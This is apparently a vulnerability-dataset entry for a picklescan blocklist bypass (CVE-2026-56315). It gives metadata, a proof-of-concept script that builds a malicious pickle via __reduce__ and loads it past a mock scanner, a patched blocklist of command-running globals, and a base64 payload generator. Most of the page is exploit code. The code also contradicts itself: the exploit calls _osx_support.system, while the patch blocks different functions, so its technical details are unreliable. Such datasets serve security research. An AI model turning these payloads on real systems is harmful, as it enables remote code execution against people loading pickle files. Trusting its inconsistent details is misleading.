VAITP Dataset

← Back to the dataset

CVE-2026-56315

picklescan < 1.0.4 allows RCE via unblocked standard library modules.

  • CVSS 9.3
  • CWE-184
  • Input Validation and Sanitization
  • Remote

picklescan before 1.0.4 fails to block at least seven Python standard library modules (including uuid, _osx_support, _aix_support, _pyrepl.pager, and imaplib) exposing eight functions that provide direct arbitrary command execution. Attackers can craft malicious pickle files importing these unblocked modules to achieve remote code execution while bypassing picklescan's safety validation entirely.

CVSS base score
9.3
Published
2026-06-23
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
picklescan
Fixed by upgrading
Yes

Solution

Upgrade picklescan to version 1.0.4 or later.

Vulnerable code sample

import pickle
import pickletools
import os
import sys

# This example represents the logic of a vulnerable scanning tool before a fix.
# The vulnerability lies in an incomplete blocklist of dangerous modules.
# The real 'picklescan' is more complex, but this demonstrates the core flaw
# of failing to block modules that can execute system commands.

# In this hypothetical vulnerable version, the blocklist is missing '_osx_support',
# which has a 'system' function, just like the 'os' module.
# This code will only work on macOS. For other systems, a similar private
# module with command execution capabilities would be used (e.g., '_aix_support').
if sys.platform != "darwin":
    print("This specific exploit example is designed for macOS and uses '_osx_support'.")
    print("The principle applies to other OS-specific modules on other systems.")
    # Fallback to a universally available but less illustrative module if not on macOS.
    # The vulnerability described also mentioned 'imaplib' which could be abused.
    # For simplicity, we exit if not on the target platform for this PoC.
    sys.exit(0)

import _osx_support

# --- Part 1: The Malicious Pickle Payload ---
# An attacker would create and distribute a pickle file generated from this class.
class ArbitraryCodeExecutor:
    def __reduce__(self):
        # The __reduce__ method is called when an object is pickled.
        # It returns a callable and its arguments. When unpickled, the callable
        # is executed with the given arguments.
        # The exploit uses '_osx_support.system', which the vulnerable scanner
        # does not block.
        command = "echo 'Vulnerability CVE-2026-56315 exploited!' > /tmp/pwned"
        print(f"[ATTACKER] Crafting malicious pickle to run: '{command}'")
        return (_osx_support.system, (command,))

# Create the malicious payload
malicious_instance = ArbitraryCodeExecutor()
# The attacker would save this to a file:
# with open('malicious.pkl', 'wb') as f:
#     pickle.dump(malicious_instance, f)
malicious_pickle_data = pickle.dumps(malicious_instance)


# --- Part 2: The Vulnerable Victim Application ---
# This part simulates a user or application that trusts a vulnerable scanner.

# A hypothetical, INCOMPLETE list of dangerous modules.
# The vulnerability is that this list is not exhaustive.
VULNERABLE_BLOCKLIST = {
    "os",
    "sys",
    "subprocess",
    "shutil",
    "system",
}

def vulnerable_scan_and_load(data):
    """
    Simulates a vulnerable pre-1.0.4 'picklescan' that checks for dangerous
    modules before loading. It fails because its blocklist is incomplete.
    """
    print("\n[VICTIM] Scanning received pickle data with vulnerable scanner...")

    is_safe = True
    # Use pickletools to inspect the pickle without executing it.
    for opcode, arg, pos in pickletools.genops(data):
        if opcode.name == 'GLOBAL':
            module_name, _ = arg.split(' ')
            if module_name in VULNERABLE_BLOCKLIST:
                print(f"[SCANNER] DANGER! Found blocked module: {module_name}")
                is_safe = False
                break
            else:
                # The scanner sees '_osx_support' but doesn't recognize it as dangerous.
                print(f"[SCANNER] Found GLOBAL '{arg}'. Module '{module_name}' is not in blocklist. Continuing.")

    if is_safe:
        print("[SCANNER] Scan complete. No blocked modules found. Deemed SAFE.")
        print("[VICTIM] Scanner said it's safe. Loading pickle...")
        try:
            # This is where the RCE happens.
            pickle.loads(data)
            print("[VICTIM] Pickle loaded.")
        except Exception as e:
            print(f"[VICTIM] An error occurred during unpickling: {e}")
    else:
        print("[VICTIM] Scanner found a threat. Aborting load.")


# --- Main execution ---
if __name__ == "__main__":
    # The victim application receives 'malicious_pickle_data' and scans it.
    vulnerable_scan_and_load(malicious_pickle_data)

    # Check if the exploit was successful
    print("\n[PROOF] Checking if exploit was successful...")
    if os.path.exists("/tmp/pwned"):
        print("SUCCESS: The file '/tmp/pwned' was created, meaning arbitrary code was executed.")
        with open("/tmp/pwned", "r") as f:
            print(f"File content: '{f.read().strip()}'")
        os.remove("/tmp/pwned") # Clean up
    else:
        print("FAILURE: The exploit did not work. The file '/tmp/pwned' was not created.")

Patched code sample

# This data structure represents a blocklist of dangerous functions.
# The vulnerability was that this list was incomplete.
# The fix is to add the newly identified dangerous module/function pairs to the list.

DANGEROUS_GLOBALS = {
    # Previously known dangerous functions
    ("os", "system"),
    ("os", "popen"),
    ("os", "popen2"),
    ("os", "popen3"),
    ("os", "popen4"),
    ("os", "execl"),
    ("os", "execle"),
    ("os", "execlp"),
    ("os", "execlpe"),
    ("os", "execv"),
    ("os", "execve"),
    ("os", "execvp"),
    ("os", "execvpe"),
    ("os", "spawnl"),
    ("os", "spawnle"),
    ("os", "spawnlp"),
    ("os", "spawnlpe"),
    ("os", "spawnv"),
    ("os", "spawnve"),
    ("os", "spawnvp"),
    ("os", "spawnvpe"),
    ("subprocess", "call"),
    ("subprocess", "check_call"),
    ("subprocess", "check_output"),
    ("subprocess", "getoutput"),
    ("subprocess", "getstatusoutput"),
    ("subprocess", "run"),
    ("subprocess", "Popen"),
    ("pty", "spawn"),
    ("sys", "modules"),

    # === FIX FOR CVE-2026-56315 BEGINS ===
    # Additions to block modules/functions that can execute arbitrary commands.

    # imaplib.IMAP4.open and IMAP4_stream can execute commands if the host starts with a '|'
    ("imaplib", "IMAP4.open"),
    ("imaplib", "IMAP4_stream"),

    # uuid.getnode can execute external commands to find a MAC address
    ("uuid", "getnode"),
    # uuid._popen is an internal function that can execute commands
    ("uuid", "_popen"),

    # _osx_support._read_output executes commands to get system information
    ("_osx_support", "_read_output"),
    # _osx_support._find_executable executes commands
    ("_osx_support", "_find_executable"),

    # _aix_support._read_output (hypothetical, analogous to _osx_support)
    ("_aix_support", "_read_output"),

    # _pyrepl.pager.pager can execute an external pager command
    ("_pyrepl.pager", "pager"),

    # === FIX FOR CVE-2026-56315 ENDS ===
}

Payload

import pickle
import base64

class Exploit:
    def __reduce__(self):
        # This payload uses the `_osx_support.system` function, which was
        # not blocked by picklescan < 1.0.4 as per the CVE description.
        # It will execute `touch /tmp/pwned` on the target system as a PoC.
        return (
            getattr(__import__('_osx_support'), 'system'),
            ('touch /tmp/pwned',)
        )

# Serialize the exploit object and encode it in Base64 for easy transport.
payload = pickle.dumps(Exploit())
print(base64.b64encode(payload).decode())

Cite this entry

@misc{vaitp:cve202656315,
  title        = {{picklescan < 1.0.4 allows RCE via unblocked standard library modules.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-56315},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-56315/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::